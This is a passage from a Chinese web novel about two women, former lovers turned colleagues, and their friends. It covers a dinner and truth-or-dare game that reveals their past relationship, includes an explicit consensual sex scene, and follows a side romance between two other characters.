“难受吗?”岑曳问她,“想喝酒就告诉我,不是不让你喝,自己喝又没个分寸。” 姜又柠晕晕乎乎的,根本听不清她说什么。 岑曳往回扯了下手,没能松开,“我帮你接杯热水过来,好不好?” 姜又柠摇摇头,“不好,姐姐,你别走……” “我很快就来陪你。” 姜又柠依旧摇了摇头,“别去国外,别离开我……” 岑曳只好安静等着她,等她闭上眼睛没什么动静之后,才打算离开。 可睡梦中的姜又柠像是感知到了什么,抓着她的那双手变得更紧了些—— 作者有话说:同一个场景下,N年前和现在的小姜,无论什么时候都要拽着我们岑姐的手不舍得她离开呀~~ p:这章是评论破千的加更哟,本来前几天就要写的,但最近杂七杂八的事情太影响情绪了,遂整理好心情之后,立即把加更写好啦!请多多给我评论吧!非常感谢~~ 第38章 宿醉之后, 姜又柠睡得久,醒来的时候已经是中午了。 手机上没有收到江诗文的消息,她也不知道这家伙有没有定好餐厅, 到底什么时候出门。 她发了条消息问情况之后才起床,洗漱结束也没有回复。 打电话过去的时候,江诗文还在睡觉。 ——“柠柠, 我们晚上出门吧,我还想再睡会儿。” 姜又柠只能应下了, 转眼看见沙发上抱着电脑的岑曳, 莫名生出了一种熟悉感。 还在上学的时候, 她就看着岑曳这样在客厅裏办公, 现在也还是这样,就像糟糕的状况从来没有发生过一样。 女人也正打着电话,嘴角含笑。 ——“我早上六点起床开了会,做了工作总结, 吃了一顿早餐, 一顿午餐,泡了两杯咖啡,到现在连江诗文的影子都没看见。” “二十多岁觉是睡得香一点。”岑曳见了姜又柠,指了指桌上的午餐。 午餐是简易的两道家常菜,也不知道岑曳什么时候学会的。 “你吃过了?”姜又柠见她点头, 自己舀了半碗米饭坐下来。 菜都是单独盛出来的, 干干净净, 还冒着热气。 ——“我十几岁都不敢把觉睡得这么香,多睡一分钟就可能有六十个人超过你。” “这么努力会把身体熬坏的,既然来国内负责项目了,也该调调作息, 养养身体。” ——“你这种话我只在江阿姨那儿听到过,她就是太宠孩子,才导致江诗文现在什么都做不好,什么都要人教。” “现在的目标不是跟诗文打好关系吗?工作要跟感情双线并行啊。”岑曳跟她又聊了会儿才把电话挂掉。 她拿了盒牛奶放在姜又柠面前,自己也拆开了一盒,“菜的味道还好吗?刚刚看你起床之后才加热的。” “很好吃啊,我怎么不记得你会做菜?” “学的,也不算第一次做吧。味道比不上姜阿姨做的,所以没做过几次。” “很棒了,我要是很久没做的话,早把步骤忘光了!”姜又柠扒了口米,想起刚才的电话,“诗文说晚上出门聚餐,你刚刚在跟庄玟打电话?” 看见女人点头,她又问,“我记得你之前不爱参与这事儿的。” “诗文太闹腾,吵得太狠你就会被她拉过去。” 之后她要么被迫趟浑水,要么独守空房。 况且股权分配的事情只看两个母亲的决策,这两个人只需要把结婚证的事情搞定就好了,她也不用担心利益分配这种事情会影响到岑千兰。 “诗文很可爱啊,我跟她一起玩儿的时候从来没负担的!” “跟我在一起的时候很有负担?” 姜又柠顿了下,“……这都不是一回事儿。” “那就是没有任何负担。” “……我没这么说。” “那还是有负担。” 姜又柠觉得这饭吃不下去了。 下午闲着也是闲着,姜又柠开始完善自己粗糙的PPT。 岑曳在旁边看着她改,也不多说什么。 姜又柠心裏紧张得很,跟考试的时候班主任走到自己身边盯着自己写题一样。 无论哪个时候,她的脑子都不太灵光。 “你在国外放假的时候也像现在这样无所事事吗?” “我很少休假。” “那你觉得我的PPT做得怎么样?” 话问出去几秒钟没能得到回答,姜又柠看她一眼,女人才开口,“挺好的。” 那就是不太好。 “跟庄玟那儿对接的部分你也参与了?”岑曳问她。 姜又柠摇摇头。 她还不是想让自己的工作内容显得更丰富一些。 “那就删掉。”岑曳指着上面的某些内容,“不属于自己的功劳就不要写。” “……好。”姜又柠困窘地将这些字删掉了,“我看有不少人也写了这部分。” “那是她们自己的事情。”岑曳淡声道,“你乐意的话也可以重新加上去。” 姜又柠抿抿唇,“我就只写我自己做过的吧。” “不仅是我来之后,之前你做了什么,可以写个简单的工作总结添补上去。”岑曳说,“把你最熟悉的、也最擅长的内容都放上去。” “不是只看近一个月的内容吗?”姜又柠双手没停,聊到自己擅长的工作内容,PPT上很快多了不少字。 “所以要详略得当,之前的简单补充就好。” “……哦。”姜又柠快速修改,边改边问岑曳的意见。 忙忙碌碌一下午,她总算改出了一份自己满意,领导也满意的PPT。 途中江诗文发了餐厅地点,她都没注意到。 伸了个长长的拦腰,她终于有时间回复她。 “诗文定了家西餐厅,旁边有个小酒馆,说吃完饭想去小酌一下。” “又喝酒啊?”岑曳对于现在姜又柠的生活习惯非常不满意,“你们到底几天喝一次?” “就只有休息的时候喝,而且就一点点。” “昨天晚上那叫一点点?” 手机上又发来了一条语音,姜又柠想也没想就点开了。 【江诗文:我就要折腾庄玟!不是觉得我耍酒疯吗!她今天给我等着吧!】 姜又柠下意识看了眼岑曳,“昨晚我不太清醒,她俩发生什么不愉快的事情了吗?” “又不是在我们家裏,你担心什么?” “我今天不喝了。” 岑曳似乎有点生气,姜又柠主动开口服软。 “小时候偷喝高粱酒醉得不省人事,长大了不分白天夜晚地喝,你看你的身体会被折腾成什么样子?” “哎呀你怎么三十岁的年纪说话这么老气呢!”姜又柠脸上挂不住了,“就你的生活习惯好呗!加班到半夜三点,一个月一天都不休息?” “还开始跟我往不好的地方比了?” 姜又柠冷哼一声,“我可没有,是你先提的。” “好了好了,有我看着你,你想怎么着都行。”岑曳哄她,见她嘴角努力憋着上扬的笑意才放心。 傍晚的时候,姜又柠联系了江诗文,之后便跟着岑曳去了地下车库。 庄玟那儿也留了辆车,她把钥匙扔给江诗文,“会开车吗?” “你不能开吗?”江诗文反问她,“我没有驾照啊。” 庄玟接过她扔回来的钥匙,皱起眉头,“我都是司机开车。” “行了,在我的车上挤挤,反正晚上还要回一个小区。”岑曳招手示意了下,先让姜又柠坐上了副驾驶,又吩咐那两个人快一些。 车开了半个多小时,全程没有一个人说话。 后排两个人不对付,姜又柠下午忙着PPT没睡觉,上车没几分钟就睡着了。 等红绿灯的空隙,岑曳往后面伸了个手,“诗文,帮我拿一下毯子。” 江诗文把毯子递给她,她便盖在了姜又柠的身上。 庄玟见状,问道,“你要毯子吗?” “不能直接帮我盖吗?这种事情还要问?你看岑曳姐问柠柠了吗?” 庄玟忍着火气,“帮你盖。” “我不需要毯子。”江诗文把毯子还给她,“你还是自己盖吧。” 眼看有要吵起来的趋势,岑曳淡淡说了句,“小声点儿,好吗?” 她看了眼副驾驶的姜又柠,姜又柠依旧睡得很香。 到了西餐厅,岑曳轻声把姜又柠喊起来,先让她裹着毯子没取,“到了餐厅再取,晚上风刮得太冷。” 姜又柠迷迷糊糊点头,跟着女人进了餐厅。 又是一个包厢,姜又柠早就饿了,这次吃饭没什么目的,而且现在待在岑曳身边她安心很多,所以点了不少自己爱吃的,准备大快朵颐。 旁边的庄玟一早就决定好处处学习岑曳的恋爱经验,切了牛排,倒了果汁,递着纸巾。 但效果似乎不太好,姜又柠脸上的羞赧她愣是没在江诗文脸上看见一点。 这种努力得不到回报的感觉她从来没有经历过,于是就变得非常不爽。 “你到底要我怎样?” 姜又柠罕见地看见了庄玟烦躁的样子,求助地看了眼岑曳。 “你吃你的。”岑曳已经习惯了庄玟凌乱的样子,“要不要换个口味的果汁?” 姜又柠点点头,舔掉了嘴角的酱汁。 岑曳身边的庄玟毫无食欲。 这个满脑子只有工作的女人,在跟江诗文短短相处半个多月的时间裏,就已经经历了人生中无数个第一次。 第一次抓狂,第一次口出狂言,第一次凌乱不堪…… “不怎么样,你别打扰我吃饭,行吗?”江诗文懒得理她,找了服务员要了杯香槟,心情雀跃得很,“今天我要多喝一点!” 庄玟根本就不是在真心关心她,岑曳做什么她就跟着做什么。 难道她嘴巴能跟姜又柠同时吃得脏兮兮吗? 在她的果汁才喝了一口就想着倒,她擦完嘴才给她递纸巾。 工作的时候能说会道,骂下属的话一句接一句,到她这儿了就一点眼色都没有了? “我去趟卫生间。”庄玟深呼吸了一下,起身离开了。 江诗文笑出声来,对着姜又柠说,“你看到没,庄玟脸色多差!报复上司的感觉也太爽了,柠柠你也试试!” 姜又柠抬眸看了眼岑曳,制止了江诗文后面更加放荡不羁的话。 她现在跟岑曳早都冲破最后一道防线了,报复上司…… 她真怕上司在床上报复她。 现在不过就做了一次,以前那点儿招数岑曳还没使呢。 而且岑曳的强迫症在过去的时候给了姜又柠不少喘口气的功夫,现在女人的强迫症缓解了不少,她还能有大口呼吸的空隙吗? 十几分钟过去,庄玟还是没回来,岑曳想到什么,“你们俩先吃着,我去看看。” 庄玟站在等待区,欣赏着大厅内优雅的大提琴曲,跟面前的大提琴手用英文交谈得格外愉悦。 “没在卫生间找到你。” 庄玟瞧是她来,笑道,“我又没去卫生间。” “这就没耐心了?” 庄玟脸上的笑容立马没了,她走远几步才开始吐槽,“耐心有什么用?只会让蠢人一遍遍浪费时间在我的面前犯蠢。” “把她当小孩子就好了。”岑曳抱胸,颇为无奈,“也就是诗文跟柠柠的性格像,我才稍微有点办法,你总得多些耐心。” “我在她家待了一整天还不够耐心吗!”庄玟没了冷静的姿态,“昨天晚上,她一会儿要上厕所,一会儿要洗头,一会儿又觉得身上黏要洗澡!我给她放了水嫌水太冷,加了热水又觉得水太烫!我要她自己调温度又说没力气站不稳!你见过这么烦人的小孩子吗?” 岑曳忍不住笑,“这不挺可爱的吗?” 庄玟被岑曳的话惊呆了,“岑曳,你在总部的时候可不是这样的!” “柠柠小时候真比你口中说的还会折腾人。”岑曳说,“在我眼裏,就是很可爱。” 她就喜欢姜又柠时时刻刻黏着她,撒着娇要她为她去做一切事情的样子。 她总会忍不住捏捏她的脸,再亲一亲她的嘴巴。 “我跟你这种恋爱脑也没什么好说的!”庄玟大步回了包厢。 包厢内,姜又柠正试图抢过江诗文手裏的酒杯不准她再喝。 “岑曳,你快劝劝,别让她今天又喝醉了!” 庄玟行动要更快一些,拿过江诗文手裏的酒杯一饮而尽,剩下三个人的动作都迟疑了一秒钟。 “这是我喝过的……”江诗文眨眨眼睛,“那我要再点一杯。” “你点,你点一杯我就喝一杯。”庄玟坐下来冷眼看她。 她不想再惯着她了,处感情真累,跟岑曳这么好的朋友都是有话直说,毫不客气,她还从来没这样顺着过谁。 “……那我不喝了。”江诗文果真学乖了些,拿起叉子卷起意大利面往嘴巴裏咀嚼。 岑曳旁若无人地看向姜又柠,“你吃饱了吗?” 姜又柠点点头,“一会儿就不去酒馆了吧?” “去!”江诗文第一个举手回答,“我要去!今天小酒馆的民谣歌手我在网上刷到了!她唱的歌特别好听!” 无奈之下,半个小时之后四个人就去了旁边的小酒馆。 当日请来的民谣歌手在网上很火,有不少粉丝,所以尽管还是在饭点,酒馆内就没什么好的位置了。 四个人在角落裏坐下,这裏位置比较偏,看不太清主臺。 岑曳要开车,倒是没点酒,只要了杯白开水。 姜又柠今天跟岑曳保证过的,所以又点了杯果汁。 两杯酒一杯属于庄玟,一杯属于江诗文。 一个人抱着缓解郁闷的目的,另一个人单纯为了喝醉折腾死对方。 民谣歌手的歌曲都是抒情曲风,酒馆内气氛特别好,一点儿都不吵闹。 江诗文酒后上头,也没忘了帮姜又柠证实岑曳暗恋她的这茬儿子事儿。 “我们要不要玩真心话大冒险?” 毫无疑问,这种游戏最适合挖八卦了。 “幼稚。”庄玟吐槽一句。 “你可以不玩。” “玩,为什么不玩儿?” 姜又柠看了眼岑曳,“玩儿吗?还是顺着诗文一起玩儿吧,分散点注意力她就不会喝太多了。” 姜又柠都开了口,岑曳自然欣然应允。 游戏全看运气,转塑料瓶子,口转到谁,谁就回答问题。 也不知道是江诗文运气太差还是怎么着,一连转到她好几次。 问问题这件事当然交给了庄玟,庄玟依旧本着打好关系的目的问了好几个江诗文的喜好,好方便她之后送礼物。 岑曳对她露出了满意的笑容,“不错,我们庄负责人还是挺有耐心的。” “我这个位置有问题,怎么老转到我?”江诗文恳求道,“谁跟我换换位置?” 岑曳主动开了口,“我跟你换吧。” 下一把还真转到了岑曳,江诗文高兴地喊,“我就说是这个位置有问题!那我刚才也吃太多亏了吧?” 她给了庄玟一个挑衅的眼神,觉得这个女人还有点眼色,没问什么过分的问题。 “岑曳姐,我可是什么都会问的哦。” 岑曳点点头,“问吧,我知无不言。” 姜又柠想起之前江诗文的话来,抿抿唇想着要不要先拦一下。 江诗文是口不择言的人,可她还不想当中丢脸。 “你跟前任为什么分手了?” 姜又柠尴尬地看了眼岑曳,但岑曳的视线没放在她身上,“被甩了。” “你吗?”江诗文惊讶地瞪大眼睛,“她甩的你?她人品这么差?你这么好她都要跟你分手?” 岑曳平静开口,“不,她很好,很值得喜欢。” “那你……”江诗文正准备八卦地往下问,姜又柠就及时碰了碰她的胳膊,“一次只能问一个问题。” 下一个瓶口转到了庄玟,江诗文完全洩了气,没任何挖八卦的意愿。 “柠柠你来问。”江诗文示意道,“给你一个玩弄上司的机会。” 姜又柠紧张得很,再次把求助的视线看向了岑曳。 岑曳的眸光裏满是镇定,分明在鼓励她—— 随便问就好了,有我在呢。 “庄总监您……”姜又柠攥紧双手,“您觉得我工作方面还有什么地方需要改进吗?” “哎呀……浪费了嘛。”江诗文颇为遗憾。 “你可以私下裏找岑曳请教。”庄玟随口答了句,这话题很快就掠过了。 下次转瓶子,这次江诗文使用了上帝之手,在瓶口快要转到岑曳的时候手中按了停。 三个人都没跟这个酒鬼计较,江诗文双手合十祈祷,“命运还是得掌握在自己的手中。” “岑曳姐,”她继续问,“你还喜欢前任吗?” “喜欢啊。” 江诗文没想到这个答案,意外地看向姜又柠。 她压低声音,“岑曳姐怎么变渣女了?一边喜欢前任一边还敢撩你?” 事情好像快要瞒不下去了,姜又柠也没想到岑曳会当众承认这件事情。 “你还有什么想问的吗?”岑曳虽然在问江诗文,但这次却把目光放在了一边心慌意乱的姜又柠身上。 “没有了……”江诗文开始怀疑自己的敏锐度了,那她之前关于岑曳暗恋的猜测是不是会伤害到她的好闺蜜姜又柠呢? 她不能再往下问了。 “……还转吗?”江诗文小心翼翼地问,她觉得自己闯了祸,也没想到会是这个状况。 “转吧。”姜又柠主动转了瓶子,却倒霉地转到了自己。 她嘆了口气,老天好像真的在给她主动坦白的机会。 “那柠柠,你……你现在有什么想说的吗?”江诗文什么问题都不问了,只祈求着姜又柠能够原谅她的胡乱揣测。 姜又柠深呼吸了一口气,“……岑曳的前女友,就是我。” 江诗文脑子宕机了足足半分钟之后,就茫然地捂住了自己的脑袋。 她好像…… 挖到大新闻了!!—— 作者有话说:[害羞][害羞] 第39章 原来的庄玟是靠着墙坐的, 江诗文不想跟她坐在一起便坐在了对面,岑曳跟姜又柠并排坐着。 闻言,她又默默起身跟岑曳将座位换了回来。 “你之前怎么不跟我说啊……”江诗文扭捏了几下, 拍拍自己的脑子试图让自己保持清醒。 姜又柠抿唇不语,将一杯新的加冰柠檬汁放在了江诗文的面前。 江诗文垂着脑袋,终于明白了庄玟之前那些说不清道不明的话。 “你也知道吧?为什么不告诉我?”江诗文起身坐到庄玟旁边, “我之前跟电灯泡有什么区别?” “我提醒过你很多次。”庄玟上下打量她一眼,自动离这个酒鬼的距离远了些。 江诗文拽住她的胳膊, “你得负责吧?你要是早告诉我, 也不会闹到像现在这么尴尬!” 庄玟被气笑了, “我对你负什么责?” “你找个借口带我走吧!”江诗文双颊爆红, 根本不知道该怎么面对旁边的两个人。 两个当事人都是她好朋友,居然一声不吭陪着她演这么久。 岑曳见状,及时打了圆场,“今天就散了吧, 别玩得太晚了。” 她甩了甩手裏的车钥匙, 江诗文立即婉拒了,“岑曳姐,我跟庄玟还有别的事情,你们先回去吧!” 两两分开,姜又柠被女人拉着就往外面走。 她回头担忧地看了看, “诗文喝得比昨天还多, 应该没关系吧?” “庄玟会照顾她的。” “但是……”她欲言又止, 最后还是没有争辩等回去之后给江诗文发个消息问平安就好了。 饭点停车位少,车子离这么不算近,两个人慢悠悠地在路上走。 姜又柠的手揣进了口袋裏取暖,回想起刚才在小酒馆的事情, 嘴角还是忍不住网上翘了翘。 “之前不是说想要瞒着?” “瞒不住的,诗文已经看出来我们关系不一般了。”姜又柠反问她,“你在办公室是不是做得太明显了?诗文看出来了,刘姐也看出来了。” “我有做什么吗?” 姜又柠还真想不出来,她们在办公室没做过任何越矩的行为,这群人精到底是怎么看出来岑曳对她态度很不错的? “改天等诗文酒醒了,我再好好跟她解释吧。”姜又柠盯着自己的脚尖看,“她迟早都会知道的,还是我自己果断承认比较好。” 她没听见女人说话,看过去的时候才发现她的表情不怎么相信。 “其实……也是怕你被误会。”姜又柠认真说,“诗文都误会你是渣女了,你在她那儿印象那么好,总不能因为我们过去的事情让她觉得你是个不好的姐姐。” “我无所谓别人对我的印象,除了你。” 姜又柠心裏一空,“可我不想败坏你的形象。” 岑曳将她的手从口袋裏扯出来握住,闻言面容更加柔和了些。 “你在每个朋友心中的形象都非常完美,不能因为我丢你的人。” 岑曳轻笑出了声。 “你笑什么?我都是真心话。” “你该庆幸现在是在外面。” 姜又柠不解地看她。 “不然我现在真的会吻你。” 姜又柠挣脱开她的手,快步朝着车子的方向走。 在她距离车子只有几步的时候,岑曳解了锁,她顺利地坐在了副驾驶上。 刚才的话说得不矫情吧? 车窗被敲了下,姜又柠打开了一半,看见岑曳笑盈盈站在她面前,暗示意味明显,“现在就跟我回家吗?” 女人笑得温和无害,姜又柠要不是真的熟悉她的性格,还真容易被她哄骗走。 “我今天要调作息,早点休息。”姜又柠缓缓摇上了车窗。 当喜欢毫不遮掩的时候,她只看一眼就受不住女人眼裏流动的情/欲了。 岑曳是个直接的人,亲吻和做/爱从不含糊,想要就抓住她吻个没完。 车门开了又关,姜又柠的腰就被女人搂住抱了过去。 她叉开腿坐在女人的小腹上,重力迫使她双手搭在女人胸前,上半身微微前倾。 岑曳的手指顺着她的脊背往上蔓延,掠过蝴蝶骨停留在了脖颈。 她将姜又柠往自己身体的方向拢,两双唇立即吻在了一起。 车内灯没有开,夜晚路边昏黄的灯光朦朦胧胧照进车厢内,附近就是酒馆,来来往往的人不少。 姜又柠不敢直起腰,生怕外面的行人看见。 她胆怯的动作直接方便了更深一步的接吻。 岑曳的手指捏住她的腰侧,吻住她的唇,氧气被剥夺,姜又柠就用手去推她。 女人顺势抓住她的手,轻舔着她的指尖,含在唇裏用舌尖轻勾。 痒意顺着指尖往掌心急速地窜,她呜咽一声收紧了拳藏在了背后。 对于她的逃离和躲藏,岑曳总有一万种办法对付她。 这次双手直接被禁锢在身后,姜又柠被迫挺起身体,吻顺着下巴往下滑,咬着她的上衣拉链往下慢慢地扯。 齿轮的声音细微又清晰,姜又柠听得头皮发麻,但双手被束缚住,只能挣扎地扭动了几下身子。 “乱动什么?”女人皱着眉头拍了下她的臀,姜又柠咬着唇没再动弹,感受着柔软处女人进一步的舔舐。 岑曳咬她,又抬头看她的反应,姜又柠垂下头,脸颊完全熟透了,倒吸了一口凉气。 她不想再挣扎了,仰起脑袋靠着方向盘,调动所有感官系统去感受女人的爱抚。 岑曳一手按住她的小腹,手指微探,指尖触碰到了泥泞被她舔去了。 “柠柠……”她咬她的耳朵,轻声呢喃。 姜又柠哼唧一声,说不出多么清晰的话,脑子一团乱麻,明明今晚没有喝酒,现在晕眩的感觉却分外明显。 指尖再次扯出黏连的丝,在姜又柠半眯着的眼前绷断,也将她脑子裏唯一清醒的弦绷断了。 岑曳舔唇,没再放过她,她直勾勾盯着姜又柠的脸,手跟随着她挣扎的弧度动作。 耳边是细丝黏连的声音,伴随着偶尔走过的行人交谈的话语,以及她自己浓郁的呼吸声。 岑曳喜欢这样看着她的表情,爱意是能够从眼神裏和沁出水渍的缝隙中感受出来的。 姜又柠的身子轻飘飘的,双腿并了并,胳膊肘胡乱地往后戳了下,喇叭声惊乍了一秒钟,她吓得呜咽出声急忙往前去找女人的怀抱。 她在岑曳的怀裏溃不成军,迟到的烟花被喇叭声彻底往前推了把。 “我们柠柠,被吓到的样子也很可爱呢。”女人依旧轻轻地笑,姜又柠眼眶红润,在她颈窝裏大口喘气。 许久回神之后,她便张开嘴巴去咬女人的肩膀。 岑曳要她坐正,手指压住她的牙齿,“小猫长尖牙了?” 姜又柠又去咬她的指节,狠狠地留下了几圈牙印。 “要不要我帮这只小猫磨一磨牙齿?” 语气含了些许威胁,姜又柠吐出她的手,扒着座椅往副驾驶的方向挪。 岑曳忍着笑顺着她的意愿将她放在了副驾驶上,要她用毯子紧紧裹住身体。 姜又柠将拉链拉上,脑子懵懵的,耳边响起了些许耳鸣声。 岑曳启动了车子,低头看了眼自己的衣服,“瞧瞧,我的衣服被你弄脏了一大片。” “……活该。”姜又柠低声吐槽一句,缩在副驾驶的座位上,又被事后的困意击倒了。 车子开得很慢很稳,岑曳嘴角始终带着没有散下去的弧度,还播放了抒情曲,好让姜又柠睡得更加香甜。 到了家,岑曳完全不介意会被别人看见,抱着姜又柠就往电梯的方向走。 姜又柠犯懒,也没闹着要下来,先是睁开一只眼睛看周围有没有人,后来干脆用毯子蒙住自己的脸继续睡觉了。 管它呢,反正别人看不到她的脸,丢的是岑曳的人。 就像小时候那样,姜又柠自己偷跑出去玩,回来在沙发上累得倒头就睡。 岑曳耐着性子帮她洗澡,又将客厅的泥土和灰尘全都清理掉。 在姜又柠弄脏的地方她从来不会让姜鸿英去收拾,姜又柠担心姜鸿英发现之后生她的气,而岑曳会心甘情愿顺着她的意。 这是她们从前心照不宣的默契,也让姜又柠养成了懒洋洋的习惯。 很早很早的时候她就该预料到的,明明自己看着脏兮兮的地方就会焦虑得不行,但只要是姜又柠造成的,她就会二话不说去处理干净,想着这样她跟姜又柠所处的环境都会舒服一些。 岑曳往浴缸裏放了温度合适的水,给姜又柠脱了衣服放进去,又帮她洗了洗头之后才脱光了在花洒下面冲洗。 姜又柠还不愿意睁开眼睛,温水让她的疲倦更明显了。 女人始终注意着她的状况,将沐浴露往肌肤上揉搓。 她将花洒调整了方向,好让水不会溅到浴缸那边去。 没过多久姜又柠就迷迷糊糊睁开了眼睛,面前出现的是一丝/不/挂的,身材姣好的女人。 她想要开口说话,莫名被口水呛到,连着咳嗽了好几下。 岑曳关掉花洒,“帮你快些洗完好不好?” “你能不能先把衣服穿上……”姜又柠对于自己的身体感知也是很敏锐的,只是这样看着岑曳她就忍不住沁水了…… “怎么了?”岑曳明知故问,将她从浴缸裏面捞了出来。 肌肤上都沾满了水,滑滑的,姜又柠只能紧紧搂住她不敢随意动弹。 姜又柠避开视线,脸颊却蹭到女人的柔软,她咬唇,却下意识多蹭了几下。 屁股又被拍了好几下,她老老实实待在女人的怀裏不动了。 “冲一冲身体,就抱你出去。”岑曳重新打开花洒。 “我是小孩子吗?” 只有小孩子才会笨笨的,需要被这样无微不至地对待嘛。 清醒的状况下,太久没有被女人这样悉心照顾过了,姜又柠不太习惯。 “在我这裏,你可以是。”岑曳平静道,吩咐她动一动腿,张开双臂帮她冲洗着身上的每一寸肌肤。 掌心要比水的温度还高,没几分钟姜又柠就受不了地开口,“我要回卧室了!你快一些!” 岑曳将花洒放回去,“帮你吹头发吗?” “我自己吹。”姜又柠穿着拖鞋‘哒哒哒’快步离开了浴室。 半个多小时岑曳从浴室出来的时候,就看见姜又柠缩成一小块躺在了床上,怀裏依旧抱着那只狐貍玩偶。 岑曳拿过玩偶,一下子就把姜又柠弄醒了。 “……干嘛?” 岑曳掀开被子一角躺进去,“抱着你睡。” 姜又柠已经听了无数次这样的话,“我喜欢自己一个人睡!” “撒谎。”她戳穿她,依旧从背后紧紧抱着她,两具身体不留任何缝隙。 “你没有自己的房间吗!” 女人轻咬她的耳垂,“柠柠这儿睡得更舒服呢。”—— 作者有话说:[害羞][害羞] 第40章 江诗文跟庄玟是打车回去的, 恋爱被曝来得太意外了,江诗文这次倒没有太不省人事,只是脑子懵懵的, 有点分不清状况。 “你什么时候知道柠柠跟岑曳姐谈过恋爱的?”江诗文闭上眼睛,脑子裏都是自己跟两人一起吃饭的场面,她这个电灯泡真的是一直在发光发亮且自愿自主。 “在国外的时候就知道了, 岑曳在国内的工作做得也不错,两年就晋升了, 没理由放弃掉原有的工作来总部重新混个脸熟的。” “岑阿姨一直想让她来总部的嘛, 听妈妈的话也有可能啊。” “她们母女关系好吗?”庄玟反问她。 江诗文仔细回忆了下, “好像一直挺不错的, 岑曳姐没去总部的时候,岑阿姨总是夸赞她的,不过也挺严厉的,但她去了总部之后, 她们之间的氛围就怪怪的。” 她恍然大悟, “这跟她们分手应该也有关系吧?” “行了,别揣测了。” “你还知道什么?” “现在跟你知道的一样多了。” “……没意思,到家了喊我。”江诗文将脑袋转向窗外,闭上眼睛睡觉了。 车子停在小区门口,两个人下了车, 庄玟没有往前迈, 反而看向晕乎乎的江诗文。 “自己能走吗?” 江诗文想起之前的事情, “我不用你背。” “我是说,你要是可以自己回家的话,我就直接去工作室了。”庄玟打量着她的面容,“你想太多。” “那我自己走不了。”江诗文朝她伸出手, “除非你背我。” 庄玟抿了抿唇,微微弯曲了腿,“上来吧。” “你这次脾气还挺好的。”江诗文重新趴在她背上,“还以为你又要跟我吵。” “太浪费时间了。” “可是这是休息时间,你不是给你的员工放假了吗?” “我还有很多自己的工作。”庄玟淡声道,“不止是跟国内对接的。” 江诗文无法理解,“不辛苦吗?没想过好好休息一下?” “上班不就是打发时间吗?除此之外,没什么有意思的事情。” 在总部,庄玟简直是标准的工作狂,而且只需要短时间的睡眠就会恢复所有的精力,她能同时跟进好几个完全不同的项目,一个人能顶十个。 “你没有兴趣爱好吗?打打高尔夫,品品茶,旅旅游,看看风景什么的?或者找你的朋友一起玩。” 不过除了岑曳,她没见过庄玟有什么朋友。 “朋友吗?别人都觉得我这个人很古怪。” “也还好吧,就是说话难听了点,爱瞧不起人,居高临下,嫌贫爱富,心机重城府深……” 江诗文话还没说完,女人抱住她双腿的手就猛地松了下。 后面的词语卡在喉咙裏,她吓得紧紧搂住她的脖子。 “你真挺吵的。”庄玟的步伐走快了些。 “柠柠就不觉得我吵,岑曳姐也不觉得我吵。” “那你去找她们两个。” “不要。” 沉默几秒钟,江诗文倏地嘆了口气。 “那我以后也没人一起玩儿了,这下我还哪裏敢找柠柠出门啊。”江诗文失落道,“原来每次柠柠一说话岑曳姐立马就同意了是这个原因,我还以为我很敏锐呢,看出来岑曳姐喜欢柠柠了,但没想到她们俩谈过恋爱。” “你晚上能待在我家吗?”江诗文问她,“我喜欢别人陪我看恋爱综艺。” “看别人演戏有什么意思?” “很开心啊,可以得到很多情绪价值,你可以试一试。” “说了我要回工作室一趟。”庄玟还是拒绝了,“我对这些东西没什么兴趣。” “兴趣是要培养的,我可以在家裏等你忙完。”江诗文再次询问她,“你走了还回来吗?不回来那我就洗洗睡觉了。” “看情况吧。” 庄玟要她输入密码,江诗文一边输一边念,“你要是想来我家也可以,你记住密码了吗?我不会改的,不然我自己都会忘的。” 她被女人放下来,看着她整理了微乱的上衣。 “密码还是定期改一下比较安全。” “但输错三次就锁定了,得用钥匙开。要不我给你一把钥匙吧,我常年不带钥匙的,我自己也容易丢东西。” 庄玟疑惑地看她,不清楚她到底是怎么好好长这么大的。 “都说了我自己来国内生活得很辛苦了,我从来没离开过家裏这么远。”江诗文说着就委屈,“柠柠每次都鼓励我,夸我很棒,岑曳姐也是,就只有你,才跟我见几次面啊?我们很熟吗难道?一说话就那么难听,嫌我幼稚嫌我不成熟,你在国外的时候就很讨厌我是不是?” 她光着脚坐在沙发上,抱住自己的双腿,“要不是为了让你们家的公司挂上总部的名号,你肯定不愿意这样跟我接触吧?” 庄玟看着她的模样,说不出肯定的话来。 江诗文说的一点儿没错,她确实不愿意跟在工作上毫无长处的人接触,除了浪费时间,耽误她自己的工作进程之外,没有任何用处。 “你早点休息,我回工作室了。” “……没见过你这么冷血的人。” 江诗文喜欢交朋友,喜欢喝醉后跟朋友醉醺醺地瘫在一起,互相都不嫌脏,地上那躺躺这躺躺;还要围坐在一起彻夜长谈,聊聊过去开心或者难过的事情,哭哭笑笑说说真心话。 以前这个朋友是姜又柠,她跟她非常合得来,哪怕才认识了一年多,她们的性格实在太相似了,也格外默契,完全是十全十美的朋友。 但现在,她不可能自私地再去找姜又柠了,岑曳和姜又柠都是她的朋友,如果这两个人还是互相喜欢,那她当然希望她们尽快复合。 国内她没有别的朋友了,面前的庄玟怎么就这么不聪明,看不出来她想要她陪陪自己呢? 不是要结婚的关系,也不是抱着非要做朋友的目的。 只是今晚她喝醉了,情绪上来了,她想要庄玟跟她坐在一起。 有个伴就可以了,她甚至不需要她讲任何好听的话,就只是坐着也不行吗? “你想要我留下来吗?”庄玟认真问她。 她在情感上的确一窍不通,她需要对方直白地给。 江诗文口中的讨厌就是讨厌,她不会往欲拒还迎或者相反的方向想。 江诗文如此讨厌她,她就应该离得远远的,而不是留下来相看两生厌。 “笨死你了……”江诗文不想说真心话,这种听起来那么像占便宜的话说让庄玟听见就听见了?那她多没面子? 庄玟闻言,转身就准备离开,下一秒她就听到她轻轻的一声呢喃,“……想。” “到底想还是不想?” “想!但你不愿意就滚!”江诗文被她气疯了,光着脚‘咚咚咚’走到她面前,大声质问,“我们庄负责人不是最厉害最会举一反三了吗?工作上那么聪明那么雷厉风行,跟人接触这方面完全就是傻子!大傻子!” 她用手背猛地蹭掉颊边的眼泪,“你是故意的是不是?你看我喝醉了还没搞清别人的感情状况特别丢人又特别高兴是不是?你要是不想跟我结婚觉得我烦我马上找我妈说,我求她放弃高升吧先考虑考虑她在国内被逼得要发疯的亲女儿吧!” 面对如此冲撞的人,庄玟的理智和经验告诉她,她是应该发火的。 但看见江诗文哭得如此可怜,骂人似乎让她的情绪更崩溃了。 好像有一股难言又微妙的情绪慢慢涌上来,那或许是心疼和怜惜。 庄玟找了纸巾递给她,面色依旧很淡,只是皱着的眉头始终没有松懈下来。 江诗文看她还是毫无反应,失控地蹲在地上捂住自己的脸。 